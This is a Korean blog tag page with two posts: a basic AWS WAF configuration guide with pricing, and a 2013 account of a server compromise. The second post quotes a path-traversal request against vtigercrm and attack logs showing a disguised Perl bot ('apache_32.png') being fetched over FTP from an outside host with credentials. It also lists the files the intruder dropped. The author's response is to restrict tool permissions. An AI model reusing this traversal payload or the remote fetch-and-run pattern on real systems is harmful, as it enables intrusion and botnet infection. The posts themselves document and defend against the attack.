'ddos'에 해당하는 글 2건

AWS WAF setting

Server/AWS 2024. 11. 25. 02:53

웹 공격, 특히 DDoS 대응으로 방화벽을 설치하라고 한다. (난 안전불감증으로, WAF 설치의 필요성은 못느끼고 있다.)

AWS 에서는 WAF 라는 웹 어플리케이션 방화벽 서비스를 제공한다. 고급 사양으로는 DDoS 방어에 특화된 AWS Shield, 여러 계정/리소스 관리를 간소화 하는 AWS Firewall Manager 가 있지만 생략한다. (여유자금 있으면 쓰면됨)

십수 년 전 suhosin 사용했을 때도 그렇지만, 설정을 빡세게 할수록 방화벽의 기능을 십분 활용할 수 있지만, 그렇게까지 할 필요가 있나 싶다. 공격을 완벽하게 막기란 쉽지 않고, 까딱 잘못하면 정상적인 요청마저 거부할 수도 있고, 슬프지만 내가 개발한 서비스가 누군가의 타겟이 될 정도로 인기 있지도 않기 때문이다. 참고로 20년 동안 방화벽에 대한 필요성을 느낀 적이 단 한번도 없었다. 그래도 방화벽을 달아야 하는 상황이라 아주 기본적인 설정만 해보려고 한다.

WAF 는 기본적으로, AWS 리소스 일부를 보호할 수 있으며, HTTP(S) 요청에 대한 IP / 국가 / 헤더 / 요청횟수 등으로 접근 허용이나 거부를 할 수 있다. (SQL Injection / XSS 생략) 프론트 단의 CloudFront 와 백엔드의 API 서버 중 alb 에만 방화벽을 설치해 보았다. 가장 기본적인 규칙들만 몇 개 적용하고 Bot Control / Capcha 등은 사용하지 않았다.

 

 

1. 서버 접근 패턴 파악

 

우선은 방어 전략을 짜기 전에, 해당 서버에 로그를 수집하여 패턴을 파악해 봐야 한다. 물론 처음부터 빡세게 제한하는 것도 좋지만, 이미 운영중일 경우는 기존 서비스에 장애가 발생하지 않도록 면밀히 분석해야 한다.

 

다행스럽게도 서버 대부분은 해외IP 로부터 SQL Injection / XSS 접근이 전부여서 Source IP 가 해외인 접근만 차단하는 것으로 완벽 차단이 가능했다. 사실 그것보다는 DDoS 공격에 대비하는 것이 목표라, 해외IP 차단 + 국내IP 에서 초당 100개 요청시 IP 차단 하는 Rule 로 처리하기로 했다.  

 

 

 

 

2. Rule 세팅 및 리소스 적용

 

  • Rule : 제어 규칙 생성
  • Rule Group : 재사용 가능한 사용자 정의 Rule Group 을 생성할 수 있고, AWS Marketplace 에서 유/무료 관리형 규칙 그룹을 선택할 수도 있다. (규칙 수, 복잡도에 따라 요금 증가)
  • Web ACL(제어목록) : 특정 규칙집합을 만들고 AWS 리소스를 연결하여 요청 제어 수행
    ㄴ 기본동작 (Allow / Block) 설정
    ㄴ 규칙 우선순위는 화면 위에서 아래, 낮은 숫자에서 높은 숫자 순

 

 

 

 

3. 모니터링 및 알람 설정

모니터링으로 요청에 대한 규칙 및 필터링 확인을 마쳤다면, CloudWatch 에서 특정 메트릭(예: 차단된 요청 수 - BlockedRequests)이 기준치를 초과할 때 SNS 알림을 트리거하도록 설정하여 운영하도록 한다. (알람 세팅 생략...)

 

 

 

4. 요금

(예, 관리형 규칙X, 사용자 규칙 19)

  • 웹 ACL 요금 = 5.00 USD * 1 = 5.00 USD
  • 규칙 요금 = 1.00 USD * 19(규칙) = 19.00 USD
  • 요청 요금 = 1백만 건당 0.60 USD * 1천만 건 = 6.00 USD
  • 결합된 총 요금 = 월별 30.00 USD

WRITTEN BY
손가락귀신
정신 못차리면, 벌 받는다.

,

...Attack

Daily/Prog 2013. 4. 12. 23:27

logwatch에 오신 특별한 메시지.

 

Kernel
Apr 11 08:09:42 xxx kernel: perl invoked oom-killer: gfp_mask=0x201d2, order=0, oomkilladj=0
Apr 11 08:09:51 xxx kernel: Out of memory: Killed process 14829, UID 2, (perl).

 

커널 warning 이 나타나니 동공이 확대되기 시작.
멀쩡한 서버가 웬 out of memory.

 

이런 저런 로그들을 확인하다가 apache log에서 이상한 또 하나의 로그 발견.

 

[Mon Apr 08 06:10:42 2013] [error] [client 114.251.150.133] mod_security: Access denied with code 403. Error normalising REQUEST_URI: Invalid character detected [0] [severity "EMERGENCY"] [hostname "xxx.xxx.xxx.xxx"] [uri "/vtigercrm/graph
.php?current_language=../../../../../../../..//etc/elastix.conf%00&module=Accounts&action"]
--2013-04-10 04:53:48--  ftp://test:*password*@210.198.4.118/apache_32.png
           => `apache_32.png'
Connecting to 210.198.4.118:21... connected.
Logging in as test ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> SIZE apache_32.png ... 16114
==> PASV ... done.    ==> RETR apache_32.png ... done.
Length: 16114 (16K)

     0K .......... .....                                      100%  142K=0.1s

2013-04-10 04:54:08 (142 KB/s) - `apache_32.png' saved [16114]

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
12 16114   12  2048    0     0    167      0  0:01:36  0:00:12  0:01:24   167
100 16114  100 16114    0     0   1296      0  0:00:12  0:00:12 --:--:-- 84734
sh: lwp-download: command not found
mv: cannot stat `apache_32.png': No such file or directory
sh: fetch: command not found
mv: cannot stat `apache_32.png': No such file or directory

 

아이 참... 이런거 하지 말라니깐... 이게 머지 대체...
test 계정으로 로그인을 해서 apache_32.png 파일을 가져오다? 어케 ftp로 여다가 파일을 옮김?
근데 no such file or directory 는 또 머야.

 

 

일단 검색.

 

# find / -name apache_32.png
/tmp/apache_32.png

 

오마이갓. 세션들어가는 자리에 저것이...
분명 네놈은 png가 아니겠지.

 

# ls -al /tmp
-rw-r--r-- 1 daemon daemon     0 Apr 10 17:08 muie
-rw-r--r-- 1 daemon daemon 26027 Apr 11 00:08 pos
-rw-r--r-- 1 daemon daemon 16114 Apr 11 04:14 p.txt
-rw-r--r-- 1 daemon daemon 26027 Apr 11 04:19 vuln
-rw-r--r-- 1 daemon daemon 16114 Apr 11 04:29 apache_32.png
-rw-r--r-- 1 daemon daemon   758 Apr 11 05:15 a

 

역시 한놈이 아니구만.
근데 왜 서버가 잘 돌아가고 있는 것처럼 보이지.
떨리는 마음으로 apache_32.png 파일을 열어 봅니다.

 

#!/usr/bin/perl
...

 

응 perl? 혹시 이놈 때문에 out of memory 가 난건가.
irc_server, port_scan, http_query 이런것들이 보이는데... 근데 왜 서버가 잘 돌아가는 것처럼 보이냐고.
도대체 이건 무슨 공격이지? 안배운 공격인데... DDoS야? 좀비된거야?

 

a 파일에는 apache_32.png 를 curl로 가져온 흔적이 남아있고.
pos, vuln 파일에는 디렉토리 스캔한 흔적이 남아있고...

 

뭔짓을 한지는 모르겠지만 내가 할 수 있는건,
권한변경... perl, curl, wget, rm, mv, cp 권한 변경.

 

# chmod 100 /usr/bin/perl /usr/bin/curl /usr/bin/wget /bin/rm /bin/mv /bin/cp

 

 

이걸로 되겠냐... 이게 최상이냐...
공용 서버라 책임질 필요는 없지만...
무서워서 못살겠다 ㅜㅜ


WRITTEN BY
손가락귀신
정신 못차리면, 벌 받는다.

,